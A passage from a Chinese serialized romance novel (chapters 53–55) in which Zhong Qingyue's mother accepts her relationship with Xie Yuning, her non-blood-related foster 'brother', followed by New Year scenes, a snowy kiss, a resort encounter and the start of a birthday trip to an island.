钟卿悦笑着和他打招呼,他才回过神,忙把手边的手提袋递过去,刚刚他还质疑谢总去买手机,没成想真把手机的主人水灵灵的带出来了。 谢昱宁把手提袋转交到钟卿悦手上,“给你买了新手机,办了新卡,暂时先用这个联系。” 钟卿悦看到手机无比亲切,谁能想到在互联网信息时代,她能无手机生活半个月。 开了机登上微信,消息像潮水一般涌来,手机叮叮当当响个不停,消息列表划拉半天,每个头像上的红色数字都是十几二十几,其中发得最多的居然是贺文杉,99+。 她率先点开他的聊天框,最近的一条消息是上午发来的:[悦姐,你还好吗?] 顺着从下往上翻上去,他从一开始的焦急询问她发生了什么事,到后面可能知道了具体情况,落寞的说了些不着边际的话,再到后来每天都在问她还好吗。 钟卿悦很感动,在她失联的日子里确确实实有人每天都在惦记着她,这种感觉真的很好。 起初谢昱宁看她在看消息,礼貌地撇开头非礼勿视,而随着她表情起伏变化,他隐隐蹙起眉头,轻描淡写地瞟了一眼,看到贺文杉的聊天框时,脸顿时垮了下来。 他抵着鼻尖轻咳一声,不着痕迹道:“挺多人找你吗?” 话中带着隐隐的醋意,钟卿悦迅速捕捉到,她吸了吸鼻子,眯着眸子问:“你有没有闻到什么味道?” 谢昱宁眉梢抽了抽,“什么味道?” “嗯——” 钟卿悦嘴角压不住的上扬,凑近去闻他身上,“好像酸酸的,谁家醋坛子翻了呀。” 他抿着唇,“我没闻到。” 钟卿悦扑哧一笑,屁股蹭到他身侧,挤着他坐着,手机递到他面前,“贺文杉只是关心一下我,你看我回得很客气,绝对没有暧昧嫌疑。” 他垂眸看了她一眼,视线却没落到手机上,“我就是问问,我不会干涉你社交。” “那你不要吃醋,我们只是朋友关系。”钟卿悦拍拍胸口,“我谨记我是有男朋友的人,肯定拒绝一切异性示好。” 谢昱宁应了声,片刻后又郑重其事补了一句,“我也会做到。” 在餐厅吃过饭已经九点多,谢昱宁收到钟爸发来的消息,让钟卿悦早点回去,不要在关键时刻再次惹怒钟妈。 孰轻孰重,两人自然能分清。 从餐厅回公寓的路上,钟爸已经等不及了,一个电话接一个电话打过来,也不等谢昱宁接听就挂断,明显是在催促他们快点。 到楼下,钟卿悦匆匆和他告别,他依依不舍,硬跟着把她送到楼上。 原以为她下电梯,他乘着电梯再下楼就好了,谁成想他亦步亦趋跟着也下了电梯。 “你也要跟我回去吗?”钟卿悦压低声音问道。 他摇了摇头,沉默一瞬,指了指嘴唇,“你很久没奖励我了。” 说话的模样像只委屈的小狗,钟卿悦忍不住轻笑一声,他一瞬不瞬盯着她,也不走也不说话,就等她下一步行动。 钟卿悦瞥了眼身后紧闭的房门,走到他面前,踮脚在他唇上落下轻轻的一吻,只是刹那间柔软的触碰,浅尝辄止,他压根不能满足。 他勾住她要撤退的腰身,俯身靠近她,想要索取更多。 钟卿悦大惊失色,手忙脚乱地推着他,“别闹,一会儿被妈妈看到了。” 他眸色很深,压抑在眼底的暗流涌动,情愫不可抑制的泄露出来,即使沉默无言的情况下,钟卿悦都能感受到那股炙热浓烈爱意。 “我们再去楼下。”他声音很低。 “不可以,你明天再来找我。” 她拒绝,谢昱宁也不敢再靠近,“过一晚才到明天。” “已经很快了。”钟卿悦挣扎地脱离他的怀抱,“乖,明天再奖励。” 谢昱宁没讲话,看了眼身后的门,勉为其难地点了点头。 目送他进了电梯,钟卿悦转身开门,看到钟爸背手站在玄关处,脸板着,一副严肃的模样。 “你怎么在这,爸爸。”钟卿悦心里打鼓,该不会刚才被看到了吧。 钟爸咳嗽一声,“那什么,等你呢。你哥走了?” “啊,走了,他去住酒店。” 钟爸神情冷峻,“嗯,行,你妈妈找你,在卧室,我先走了,我跟他住酒店去。” “哦。” 看着钟爸开门离开,她才往钟妈卧室走去。 进了门,钟妈正倚靠在床头看手机,轻飘飘瞥了她一眼,语气不咸不淡,“回来了?” “嗯,回来了。” “坐吧。”钟妈扬手指了指远处的沙发。 钟卿悦站在原地没动,钟妈这种难以捉摸的态度让她忐忑不安。 “你给我个痛快吧,妈妈,你这样我害怕。” 钟妈挑了下眉,“你害怕就不会做出格的事了。” 又开始说教,钟卿悦一听脑袋就大,低着头不接话了。 钟妈冷哼一声,“我想了想,暂时先同意你们在一起了。” 53 第 53 章 ◎一切都很美好◎ “前提是你得先专注学业, 不要每天儿女情长,也不要耽误你哥的事业,谈就奔着更好的未来谈, 别只顾着当下。” 这一通说教钟卿悦都没听在心里, 满脑子炸烟花似的循环播放着钟妈说的:暂时同意, 暂时同意。 钟妈看她愣神, 开口道:“我说的话你听见没有?” “听见了听见了。”她嬉皮笑脸地凑到床边, “妈妈,你不会反悔了哦。” 钟妈冷哼一声,“反悔有什么用,这么阻止都没用。” “嘿嘿。”她傻笑着,“那我还有最后一个请求……” “手机吧?等回国给你。” 钟卿悦连忙点头,“好的好的, 谢谢妈妈。” “所以我们什么时候回国呢?要等你忙完工作嘛?” 钟妈瞪她一眼,其实钟妈在伦敦根本没有工作,她是打算用工作把钟卿悦骗来伦敦, 让她在伦敦住一段时间的, 想着长时间隔绝她和谢昱宁见面,两个人说不定就能断了。结果钟爸先叛变了,给她架了上去。 今晚他们走后, 钟爸语重心长地说了很多,包括外面的闲言碎语,他都摊开来明明白白跟钟妈分析了一通。 其实那天叶太太说的话已经成了钟妈心里的疙瘩, 她是个过于要面子的人,一时间很难接受被人嘲讽, 所以才对这件事的反应极大。 钟爸很了解她, 知道她真正绕不过去的坎是什么。当说开后, 钟妈压在心底的石头反而消失了,勉勉强强也能够接受了。 钟卿悦回了自己房间,反锁上门,小心翼翼掏出藏在口袋里的手机,把这个好消息转达给谢昱宁。 在伦敦玩了几天,回国时已经临近除夕,街上张灯结彩,到处一片喜气洋洋的景象,反观钟家庄园内却冷清单调的不像过年的样子。因为袁姨今年休年假,去国外陪孩子过年了,家里自然没人装点。 于是钟爸回来便开始忙碌起来,拉着钟卿悦和谢昱宁从里到外的装饰,工程量极大,干了没几天钟卿悦就没耐心了,开始偷懒。 钟爸见此就分配给她轻松一点的活,让她把全屋的对联贴上,这活她更不想干了,琐碎麻烦,还得踩凳子。 当她抱着一堆对联往入户门口走的时候,恰好孟辰薇打来电话约她中午一起吃饭。她正愁没理由跑路,立刻借着这个由头把对联一股脑又塞到钟爸手里,摇头晃脑地上楼化妆。 临近约定的时间,谢昱宁送她去约好的餐厅,嘱咐她吃完打电话,他再来接她。 钟卿悦心情雀跃,在他脸颊亲了一下,连蹦带跳地下了车。 进了餐厅,孟辰薇坐在不远处靠窗的位置,而她旁边是一脸严肃的贺文杉。 “我的悦悦,见到你真的太不容易了。”孟辰薇激动地冲上前抱住钟卿悦,拉着她坐到椅子上。 钟卿悦:“我的大功臣!” 贺文杉扬起眉毛,“我呢,悦姐,我是什么?” 钟卿悦早听说了谢昱宁找他要孟辰薇联系方式的事儿,自然道:“你也是大功臣,两个大功臣。” 贺文杉吃味的哼了一声,时至今日他还是无法接受钟卿悦恋爱的事实,倒不是因为对方是谢昱宁,而是无论是谁,他都吃醋。 他将手机往钟卿悦面前一推,“悦姐,呐,吃什么点什么。” 钟卿悦瞧了他一眼,装作没看懂他奇怪的态度,把手机又推到孟辰薇面前,“你点。” “好好好,我来我来,都我来。” 点完等餐的时间,孟辰薇可算得空开始八卦了。 “老实交代!什么时候恋爱的?还是超禁忌的“兄妹恋”!” 钟卿悦心虚地嘿嘿一笑,“也没多久嘛,几个月前。” “你不知道大哥给我打电话时跟我说了这件事,我当时甚至认为自己在做梦,连捏了两次大腿。”她顿了顿,“我说实话,我之前一直认为大哥是钟叔叔的私生子,私下还跟贺文杉讨论过……” 钟卿悦汗颜,“你们联想力真的很丰富。” 孟辰薇摆摆手,“不说这个不说这个,我们还是很为你感到开心的,对吧,老贺。” 贺文杉突然被cue,茫茫然抬起头,?*? 刚才一直在出神,他压根没听到两人在聊什么,“啊,是。” 孟辰薇没空管他,继续和钟卿悦絮絮念,“悦悦你也是,你不早点告诉我,说不定我还能给你打打掩护,也不至于让阿姨抓到把你关起来。” 钟卿悦叹口气,小孩没娘说起来话长。前面她一直满心想着让钟妈同意,压根没在意过钟妈是怎么知道的。昨晚就这个问题她和谢昱宁展开讨论,才知道钟爸早就跟谢昱宁透露过,钟妈是从叶太太那里得知的,钟卿悦一下子豁然开朗,思来想去必然是那天游轮聚会时叶承扬吃瘪,给她告了状。 但也有可能他们那天在游轮聚会的亲密行为被叶太太看到了,但这个概率极小,因为钟爸说叶太太说得十分斩钉截铁,那必然是有什么确凿的证据了。 这么推下来的话,她就只能想到叶承扬了。 孟辰薇看她愣神,推了下她的胳膊,“想什么呢?” “没。”她回过神,“我也不是被抓到,是被人告密了。” “啊?不是吧,那可太糟糕了。但是话又说回来,我都不知道的事,你告诉了谁!”孟辰薇揪着她的小辫不松口了,势必要问出个所以然。 钟卿悦无可奈何,只能尽量简述了整个事件的来龙去脉,孟辰薇听她提起过叶承扬,很容易就明白里其中的所以然,跟着她一起吐槽起来。 一顿饭的时间,孟辰薇在八卦,贺文杉在走神,三个人各怀心思的吃完了饭。 午餐结束后三人无处可去,因为除夕下午几乎所有店铺都关门回家过年了,商量后便各回各家,约好年后再聚。 钟卿悦给谢昱宁发了信息,没一会儿便看他车停在了马路边。 她和两人告别,走出餐厅。 谢昱宁看她出来,立刻从车上下来,手里拿着围巾,走到她面前熟稔地替她围上。 隔着玻璃,贺文杉清晰将一切看在眼里,心底泛起难言的苦涩。他能看出她很幸福,可这个幸福和他没有任何关系。 “还走不出来呢?” 孟辰薇的声音陡然响在耳边,贺文杉微微一愣,转开视线,不再看向窗外。 “哪有那么容易放下。” 他垂着头,唇边的笑容苦涩,说不出的落寞。 “喊你来就是想让你放下的,不然以后朋友还有得做吗?” 贺文杉没说话,再次抬眸看了眼窗外,车子汇入车流,很快消失在视线中,连带他学生时期的爱意都在此刻湮灭。 “知道,我摆正位置。” 孟辰薇没再多说话,看着他失神的侧脸,淡淡叹了口气。 冬季的夜幕来得早,随着黑暗一起降临的还有此起彼伏的烟花和鞭炮声。 去年景山举办了除夕夜孔明灯放飞活动,今年改成了烟花秀和游园灯会,钟卿悦对此不太感兴趣,但她接到谢嘉希的邀请,谢嘉希的房子就在景山边上,恰好在家就能看到烟花秀。 于是他们吃过年夜饭后直奔谢嘉希家,小聚加看烟花秀。 车子停在她家楼下时,谢瑞博已经等在单元门口,他睡衣外面套着短款羽绒服,在门口站了有一会儿了,冻得瑟瑟发抖,耳朵鼻头通红。 谢昱宁催促着他进门,问道:“你怎么下来了?” 谢瑞博打着寒颤,“别提了,单元门的门禁锁坏了,在上面开不了门,我只能下来接你们,不然你们进不去。” 刷卡上电梯,谢瑞博扫了眼两人十指相扣的手,皮笑肉不笑道:“没事,看你们撒狗粮看得我嫉妒,气血上涌,现在暖和多了。” 钟卿悦顺势往谢昱宁肩膀上一靠,故意逗谢瑞博,“这样呢?” 谢瑞博:“现在能脱了羽绒服去下面跑马拉松。” 说笑间进了门,谢嘉希闻声从厨房走出来,手里端着水果盘,“大哥,大嫂,来啦!” 她指指客厅巨大的落地窗,窗边摆着桌椅,桌子上有饮料、酒、下酒菜。 “怎么样?小酌一下?” 钟卿悦立刻应下。 四人落座,一边闲聊一边喝酒。 谢昱宁:“你们两个没回老宅?” 谢嘉希:“回了,吃完饭就回来了,懒得听奶奶和我妈念叨。” “哦,对了。”谢嘉希忽地想起来,“奶奶说让你年后带大嫂回去来着,应该明天后天的就会给你打电话了。” 谢昱宁捏着钟卿悦的手,从善如流道:“再说吧。” 谢瑞博:“正好,你们要不想回去就别回去了,回去了我跟我姐就要被念叨不谈恋爱。” 谢昱宁挑眉,“那你怎么不恋爱?” “我说大哥,你能别戳我痛处吗?我每天忙忙忙,给我姐打工,给你打工,浑身班味,哪个女孩子能喜欢这样的。” 说罢,他视线一转,“大嫂,朋友同学缺男朋友吗?把我推销一下。” 钟卿悦扑哧一下笑出声,“我惦记着,有需要的一定先推销你。” “好嘞好嘞,还是大嫂对我好。我还记得的,等你们结婚我一定给你们准备盛大的婚礼惊喜。” 谢嘉希:“大嫂,你要真能给他推销出去,我拿着房产证去感谢你。” “我们弟弟还是很好的。”钟卿悦笑道。 “好是好,就是话多。”谢嘉希无奈瞥谢瑞博一眼。 谢昱宁一直没开口,这会儿蹦出一句话补刀了,“还喜欢传八卦。” “哎呦!你们两个别揭我老底了!” 话音落,窗外突然腾空升起一道亮光,紧随其后炸开在夜空中,蔚蓝的光芒占据夜幕,照亮整座城市。 房间内响起轻笑声和谢瑞博气急败坏地大叫,一切都那么美好。 54 第 54 章 ◎“亲”哥哥◎ 烟花相伴的夜晚, 四个人都喝了很多。 钟卿悦和谢昱宁离开时,谢嘉希已经回房间睡觉,谢瑞博撑着送他们出门, 步伐虚浮, 摇摇晃晃。 醉成这样他也不忘嘱咐道:“大哥…!大嫂…!别开车啊, 喊司机……额或者代驾。” 谢昱宁应了声, “回去睡吧。” 反手关上门, 他扶着钟卿悦进电梯。 钟卿悦情况不比谢瑞博好多少,整个人醉醺醺的,在酒精作用下脸颊通红,眼神迷离,情绪却十分高涨,靠在谢昱宁怀里絮絮念。 “哥, 你是不是喝醉了,你怎么在我眼前转圈啊?”钟卿悦仰头看他,指尖在他眼前画圈, 实际上画得像多边形。 谢昱宁握着她的手纳入掌心, 有些无奈,“是你喝醉了,说了不让你喝了, 你不听话。” 他也喝了不少,但酒量远比钟卿悦好多了,只是稍有醉意, 意识还十分清醒,照顾她绰绰有余。 “我喝醉了吗?我没喝多少, 那个酒甜甜的, 一股樱桃的味道。”她仰着脸, 眼睛眯成月牙状,酒窝深深的。 “嗯,是,没喝多少。”谢昱宁无奈附和她。 下电梯出了单元门,刺骨的寒风扑面而来,顺着衣领灌进衣服里,让人瞬间缩起脖子。 谢昱宁下意识将她搂进怀中,手覆在她脸侧,遮住耳朵和通红的脸,生怕冷风激着她。 她喝了酒身体里像有燃烧的火苗,眼下一吹冷风中和一下,觉得舒服极了。 她晃着脑袋甩开谢昱宁的手,“不要,好凉快。” 谢昱宁:“吹感冒了。” 钟卿悦充耳不闻,她仰起脸去看夜空,细小的雪花正从天上落下来,在黑色幕布的映衬下特别显眼。 “哥,下雪了。”她顿了顿,若有所思道,“你说我们像不像烤串,下的雪是厨师洒下来的盐粒子。” 谢昱宁:“你很有想象力,但我不想被吃掉。” 他牵着她往车的方向走,她晃晃悠悠不愿动,“一会儿再上车嘛,我要看下雪。” “冷,去车上看。” 钟卿悦亦步亦趋地跟着走到车边,全身上下都透露着不情愿,眼看他要伸手拉车门,她又拽住他,语气强势,“在外面看。” 能怎么办?就听话呗。 “我拿个外套,穿上在外面看,行不行?”谢昱宁柔声和她商量着。 “好吧。” 她勉为其难应下,谢昱宁扶着她靠在车头的位置,自己则从后座拿出羽绒服和围巾。 大衣外面套上羽绒服,又一圈圈围上围巾,混搭风加配色碰撞,饶是时尚界的顶尖人物看了都直摇头。 钟卿悦瞧瞧自己捂得严严实实,又看了眼谢昱宁单薄的大衣,“你不冷吗哥。” 他摇头,用温热的手握住她,表示自己不冷。 于是两人就那么倚在车上看下雪,看着盐粒子变成大朵大朵的馒头碎屑,不消片刻发顶已经落了一层雪白。 谢昱宁为她拭去雪花,怕化了的雪水使她着凉。她偏头看他,静静感受着温柔的触碰,每个动作都认真小心。 他的脸近在咫尺,透过那双漆黑的眼眸,她看到自己的倒影。 “哥……”她怔怔喊他。 “嗯?” “你如果是我亲哥哥就好了。” 谢昱宁眉头忽地蹙起,脸色阴郁了些,“亲哥哥?” “嗯。”她认真地眨眨眸子,加重第一个字的音,“亲,哥哥。” 话音落,她双手勾住他的脖子,踮脚靠近,在他唇角落下一吻,“亲在这里是动词。” “是吗?”他垂首靠近,手抚过她耳边的碎发,声音似蛊惑般让人沉溺,“原来是动词。那最好一直是亲,哥哥。” 吻落了下来,唇瓣轻触的瞬间产生细微的电流,缓慢传遍全身,激起战栗。 从浅尝辄止的舔舐变成长驱直入的侵略。 他的手扣在她脑后,舌尖深入纠缠,湿漉漉的气息相抵交换,为这个寒冷的雪夜添了几分热烈。 不知吻了多久,钟卿悦开始躲闪,呼吸被掠夺干净,头昏昏涨涨的难受。 谢昱宁有所察觉,唇瓣移开,给她呼吸的机会。她伏在他肩头,大口大口喘息着,冰凉的空气吸进肺里,眼前也逐渐清明起来。 见她有所缓和,谢昱宁再次偏头朝她靠近,她缩着脖子后退躲开,却被他眼疾手快的搂住腰捞进怀里。 “你答应我的,一直亲,哥哥。” 他的气息太近,钟卿悦只觉醉意更深,“我没答应。” “答应了。” 他眼底情愫蔓延,不由分手抱着她调转位置,将人抵在车上,圈禁在狭小的空间里,不给她任何逃离的机会。 吻兵荒马乱的落下来,潮湿缠绵的唇瓣纠缠不休,她仰头应承着,口腔里全部都是他的气息。 雪下的更急了些,仿佛在映衬此刻这场急促没有克制的吻。 直至她再次喘不上气,谢昱宁才堪堪松开,他唇很红,嘴角还残留着盈盈水意。 缓了片刻,钟卿悦逃离似的拉开车门,跌跌撞撞坐进车内。不能再继续下去了,她要晕在雪地里了。 上了车,谢昱宁轻轻松松约到代驾,除夕夜在外喝酒吃饭的人很多,代驾平台给的工资也高,有不少人愿意牺牲团聚时间出来赚点辛苦钱。 回到家已接近凌晨,家里漆黑一片,灯也没开,钟爸钟妈都没在家,似乎也出去和朋友聚会了。 钟卿悦勉强洗了个澡,沾枕头就睡着了,谢昱宁连给她发了数条消息都没得到回复,又不敢去敲她门,只好独守空房睡了一晚。 翌日醒来,钟卿悦只觉脑袋被人敲了一棍子,又闷又沉,还隐隐作痛,站起来洗漱时晃晃悠悠的,宿醉的后劲实在太大了。 洗漱完下楼吃早饭,发现谢昱宁接替了钟爸的工作,正在厨房里忙碌着煎蛋、煮面条。 她悄声凑上前,还没踏进厨房门坎就被他抓到了,他举着锅铲,挑眉问她,“还难受吗?” “一点点。” “把桌上的蜂蜜水喝了。” 她乖巧地抱起杯子,小口抿着,“今天怎么是你做早饭。” “爸妈昨晚回来时都喝多了。” 她诧异地瞪大眼睛,还是鲜少听说钟妈喝醉,平日里她只是偶尔小酌一点,微醺即止。 身后传来细碎的脚步声,钟妈趿拉着拖鞋走来,手不停地按着太阳穴。 谢昱宁看了她一眼,道:“妈,蜂蜜水在桌上。” 钟妈顿住步子,看向依次摆放的蜂蜜水,“辛苦了,昱宁。” 自从接受两人恋爱后,钟妈看谢昱宁的眼神多了些变化,偶尔会用丈母娘的视角去审视他。他也很不错,回来后的表现深得钟妈满意,勤快又细心,对待钟卿悦也是足足的耐心,说话轻声细语,温柔无比。 有时她也会感叹,自己看起来的孩子确实放心。虽然嘴上没说什么,但心里也默默接受了两人恋爱。 正月初二,谢昱宁接到谢奶奶的电话,邀请他和钟卿悦回家吃饭,他想也没想便拒绝了。 他了解谢奶奶的做派,习惯了高高在上的长辈地位,他不愿钟卿悦去了被指指点点,而且他们的感情也不需要她认可。 打发了谢奶奶,他便和钟爸商量着带他们去度假村放松两天,加之钟妈有些感冒,泡泡温泉正好能驱驱寒。 他们满口应下,钟爸还直夸他心细如发。 当机立断,四人下午便驱车前往谢昱宁名下的度假村。 这次没有清场,谢昱宁只是在计划敲定后给度假村经理打了个电话,让他安排好房间,一间上次他和钟卿悦住的中式小院,一间更大一点的园林景观的院子。都在不开放的后院,所以清不清场也显得无关紧要了。 到达时经理和一众工作人员已经候在门口,经理见到谢昱宁后表情有些忐忑,毕竟老总来入住,肯定会对各个方面提出意见,说不定做得不好的地方还会挨顿数落。 经理战战兢兢走在谢昱宁身后,一边介绍着环境和设施,一边说着近期的经营情况。 行过前院古朴雅致的蜿蜒木桥,经理恭敬伸手引着他们往设立禁止通行的垂花门去,道:“咱后院和前院只有这一个门,平常都有保安值守,绝对幽静,不会打扰谢总和家人。” 谢昱宁点头应了声,“辛苦冯经理了。” 冯经理受宠若惊,忙道:“应该的,您过奖了。” 他招呼保安开门,一行人便在垂花门前等了片刻,此时身后传来略耳熟的声音,“钟叔叔,钟阿姨?” 循声回望,叶承扬正大步往他们这边走来,“还真是两位,新年好,给你们拜年了。” 钟卿悦看了他一眼,又淡淡转回视线,真是阴魂不散,在这都能碰上他,她正愁之前的事没地方发火,他就撞枪口上来了。 钟爸迎上前和他寒暄,“阿扬啊,新年好啊,来玩啊?” 叶承扬扬手指了指身后办理入住的大厅,“和朋友一起来的,您和阿姨也来放松一下吗?” 说完,他看向钟妈的方向。 钟妈这人记仇,叶太太说她的那些话她记得真真的,早就对他们一家人有了怨气。 她敷衍地勾了勾唇角,笑意不达眼底,“嗯,难得空闲。” 叶承扬尴尬地推了推鼻梁上的眼镜,目光又移向钟卿悦的方向,“卿悦,新年好。” 钟卿悦不耐烦地看他一眼,应付了一句,“新年好。” 叶承扬刚想开口再说什么,突然被打断,一个俏丽的小姑娘从大厅里跑出来,朝他而来,嘴里说道:“承扬哥,前台说没有房间了。” 叶承扬脸瞬间变色,尴尬地回头道:“秦菲,我在和长辈说话。” 秦菲不明所以地眨眨眼,伸手挽住叶承扬的胳膊,姿态亲昵,“承扬哥,你给我介绍一下吧。” 叶承扬一时语塞,介绍也不是,走也不是,完全被小姑娘架了上去。 钟妈先开口打破僵局,语气轻描淡写,“阿扬谈女朋友了?” 叶承扬还未说话,秦菲已经甜甜一笑,“阿姨好,我是他的女朋友,您可以喊我小菲。” 钟妈挑了下眉,瞧这姑娘上赶着的模样和叶承扬骑虎难下的表情,她大概已经猜出两人感情状态了。 “小姑娘活泼开朗,和阿扬很配。”钟妈轻笑道。 秦菲歪着脑袋靠在叶承扬肩膀上,“谢谢阿姨。” 钟卿悦在一旁听着,忍不住翻个白眼,悄无声息朝谢昱宁方向靠去,低声吐槽道:“真是天造地设的一对。” 谢昱宁牵起她的手,懒懒应声,“确实般配。” 冯经理在一旁看着,觉得氛围有些怪,又说不上来,便走到谢昱宁身旁小声问道:“谢总,是您朋友吗?可以安排的。” 谢昱宁淡淡摇了摇头,“不认识。” 冯经理人精似的,立刻明了。 待对话差不多结束,冯经理立刻高声恭敬道:“谢总,我们这边请吧。” 叶承扬闻言心里便有了数,刚才他就看到经理一直陪着,禁止入内的门还开了,明显是在迎接他们。 他笑了笑,道:“钟叔叔,钟阿姨,不打扰你们玩了,我们先走了。” “咦,不是没有房间了吗?阿姨你们是提前预定了吗?”秦菲突然说道。 叶承扬脸都黑了,尴尬地对着钟爸点了点头,“叔叔,不好意思。” 说罢,他扯着秦菲低声吼道,“走了走了。” 钟爸:“没事。” 谢昱宁也适时接话道:“这是我们自己家的产业。” 叶承扬窘迫地应了声,脸色更差了,恨不得找个地缝钻进去。他再次礼貌地对着钟爸点点头,匆匆拉着傻白甜秦菲离开了。 【📢作者有话说】 [加油]马上要完结啦,再有个一两章的样子,后续会有番外更新。 【全文完结】 55 第 55 章 ◎完结章◎ 和父母外出的唯一缺点——谢昱宁无法和钟卿悦睡在一个房间, 甚至都不能住在同一个院子。 钟妈带着钟卿悦住在中式小院里,钟爸则和谢昱宁住在园林式的院子里。吃饭有管家专门送餐上门,泡汤则在各自的小院里, 除了钟爸钟妈约着一起散步的时间, 钟卿悦能见到谢昱宁, 其他时间根本无法享受二人世界。 呆到第二天的时候谢昱宁就开始后悔, 在心底质问了自己无数次, 为什么要连同他们老两口一起来呢?完全可以安排他们来这里,他带着钟卿悦去滑雪、去海岛晒日光浴,去满世界飞。而不是被隔绝在这里,只能通过发消息联系。 幸而只在度假村住了三天,第三天时钟妈医院有紧急情况,一家人便收拾收拾回家了。 年后的日子过的飞快, 不知不觉到了开学时间,两人提前一周离开江城,回到故城的小窝。 徐阿姨得了通知提前一周就上班了, 把房子里里外外打扫的干干净净, 进门扑面而来的空气都是香的。 只有两个人的小家,谢昱宁终于可以肆无忌惮地缠着钟卿悦,晚上时直接大大方方抱着被子枕头往她房间里钻, 赶都赶不走,像只耍无赖的小狗。 钟卿悦也习惯了他的怀抱,有他抱着睡的夜晚总是格外安心, 也就默认了他搬进她的房间。 开学第一天,路畅给她们带了家乡特产核桃, 个大皮薄, 香味浓郁可口, 味道特别好。 路畅说是她妈妈自己种的,数量不是很多,除了自家留下了些,剩下的她都拿来学校了。 为表示感谢,钟卿悦喊她们中午一起吃饭。 约在学校北门口的烤肉店,下课后三人散着步就走到了。 新学期开学,店里人满为患,依托学校而生的餐厅就是这样,暑假寒假是淡季,刚开学的几天就是爆满期。 排了半个小时轮到她们,入座后点了店里招牌的肉类。 等上菜的工夫,奚乐昕吐槽道:“怎么假期能过的那么快,感觉上次和你们吃饭还是上周的样子。” 确实假期最后一顿饭是三人一起吃的,刚吃饱钟卿悦就被钟妈call回了家,接着就发生了后面的事。 闲聊几句后,奚乐昕终于忍不住了,支支吾吾道:“卿悦,问你点事呗?” 路畅连忙拽了下她衣袖,压低声音道:“别问。” 奚乐昕撇撇嘴,“没事,我就问一句。” 阻止不了,路畅眉头蹙起,表情十分尴尬。 钟卿悦一脸迷惑,“说吧说吧,怎么还藏着掖着的。” 路畅还是有些为难,拽着奚乐昕不想让她问,奚乐昕不管不顾,任由袖子被越扯越紧,嘴上憋不住道:“卿悦,你跟你哥是不是……同母异父啊?” 话音落,钟卿悦扑哧一下笑出声,坐她对面的两人面面相觑。 “原来是问这个啊!”钟卿悦无奈叹口气,“也不是同父异母,也不是同母异父,我们两个压根没有血缘关系,叫他哥哥是因为他父母去世后我爸妈一直在照顾他。” 奚乐昕了然,“怪不得你们姓都不一样。” 钟卿悦也不打算瞒着两个人,又道:“再告诉你们一个秘密,其实我们两个在一起了,在恋爱。” “原来……我们没看错。”奚乐昕呆呆地自言自语。 钟卿悦:“什么?” 路畅解释道:“放假前你哥哥来接你,你们举止……嗯,很亲密,当时我和昕昕就觉得怪怪的。” 钟卿悦愣了愣,她想不起来那天她和谢昱宁做了什么,那会儿她满脑子都是被抓包的惊慌失措。 “恭喜啊,卿悦。”路畅声音打破她的沉思。 奚乐昕附和道:“非常般配的俊男靓女,太甜了!” 钟卿悦莞尔一笑,“你们不觉得很奇怪吗,我之前不知道该怎么开口跟你们说,怕你们会觉得……” 奚乐昕打断她的话,“怎么奇怪了?又没血缘关系,男未婚女未嫁的,恋爱不是很正常嘛。” 路畅点头,“不用在意别人的眼光,开心快乐就好。” 奚乐昕:“没事,我们做你坚实的后盾!” 钟卿悦感动地吸吸鼻子,“我要流泪了。” 奚乐昕:“哎呀呀,吃饱再哭哈,那样哭声更大。” 服务员端着托盘走过来上菜,三人开火烤肉,一顿饭吃得其乐融融。 — 开学后钟卿悦忙碌起来,谢昱宁也常常因为工作需要必须离开故城,短的时候一两天,久了可能五六天,两人一直是聚少离多的状态,倒分外珍惜起在一块的日子。 直到四月份,快钟卿悦生日的时候,他一下子清闲起来,也不回江城忙项目了,每天都接她上课下课。 钟卿悦隐约猜到是因为她生日的缘故,他想要多点时间陪她。 于是某个深夜,她窝在他怀里还未睡着时,轻声道:“哥,你去忙工作就好,等我生日你腾出两天天时间,正好周末,我们可以去短途旅行。” 谢昱宁揉着她头发,“没有,我已经忙完了。” “真的?”她狐疑地钻出他的怀抱,黑暗中只能看到近在咫尺的轮廓,她试探地伸手,恰好摸到他下巴,柔软皮肤下坚硬的下颌线,淡淡的胡茬,顺着流畅的线条,她指尖移动,捏住他脸颊的肉,“不准骗我哦。” “不骗你。”他轻笑声溢在耳畔,随之而来的是温热的呼吸。 他在黑暗中朝她靠近,将作乱的手纳入掌心,引导似的环在自己腰上,“生日那周的周五或者周一是满课吗?” 她嘿嘿一笑,“不是,我早就看好了,周五下午没有课,我们可以提前出发。” “你有目的地吗?” 毛茸茸的脑袋在他怀里蹭了蹭,“没有,目的地就靠你来想吧。” “嗯,那我来安排。” 钟卿悦应了声,缓缓闭上眼睛,“晚安,哥哥。” 谢昱宁知道她这是困了,拍着她后背哄睡着,“晚安。” — 半个月的时间过得飞快,一眨眼就到了他们计划出游的周五。 上午下了课,谢昱宁接她回家吃午饭。 钟卿悦好奇地问他要去哪,他只是非常神秘地摇头,对目的地只字不提。 吃过午饭,两人出发前往机场,钟卿悦耐不住好奇,偷偷从值机app上查航班,却没看到有任何行程,她隐约猜到这次目的地并没有她想象中那么简单。 登上私人飞机,缓缓滑行在跑道,谢昱宁坐在她身边,终于肯透露一点信息,“我们要飞七个小时左右。” 钟卿悦点点头应下,她已经不在意目的地到底是哪里了,现在剩下的只是满心期待了。 谢昱宁从随身的包里拿出游戏机,“玩一下,再睡一觉,就落地了。” 钟卿悦依偎在他怀里,把游戏机推开,“我不玩,我要睡午觉。” “嗯,睡午觉。” 谢昱宁将手边的毯子展开盖在她身上,她闭着眼就能猜到他的动作,手摸索着捏住毯子另一角,熟稔地一扯,另一半覆在了他身上。 在他怀里蹭了蹭,找到舒适的位置,钟卿悦继续安心入睡。 薄薄的毛毯下,两具身体紧密贴着,胸腔下强烈跳动的心脏响在耳边,像规律的催眠曲,钟卿悦很快就沉沉睡了过去。 不知过了多久,再睁开眼时,机舱内已经亮起微光,舷窗外正是日落时刻,天空是浓郁的深蓝色,和云层交接处是淡黄色逐渐变为橙红色,犹如打翻了调色盘,美得不可方物。 她看着窗外,有一时晃神,睡得太久了,已经分不清在哪里了。 见她发呆,谢昱宁小心翼翼去探她额头,“怎么了?不舒服?” “没。”她回过神,听到他的声音,心才落定,“哥,好漂亮。” “睡迷糊了?”他轻笑一声,“今天天气好,能看到日落。还有两个小时就落地了。” “我们去哪?”她还有些懵,声音轻轻的,像在自言自语。 谢昱宁也不再瞒她,“一个海岛。” “海岛?” “嗯。” “什么海岛?”钟卿悦有些好奇,适合度假的海岛可太多了。 “它没有名字,它的名字还在等你取。” 钟卿悦眸子瞬间睁大,“什么意思?” 谢昱宁勾起唇角,将这段时间的忙碌细细道来。 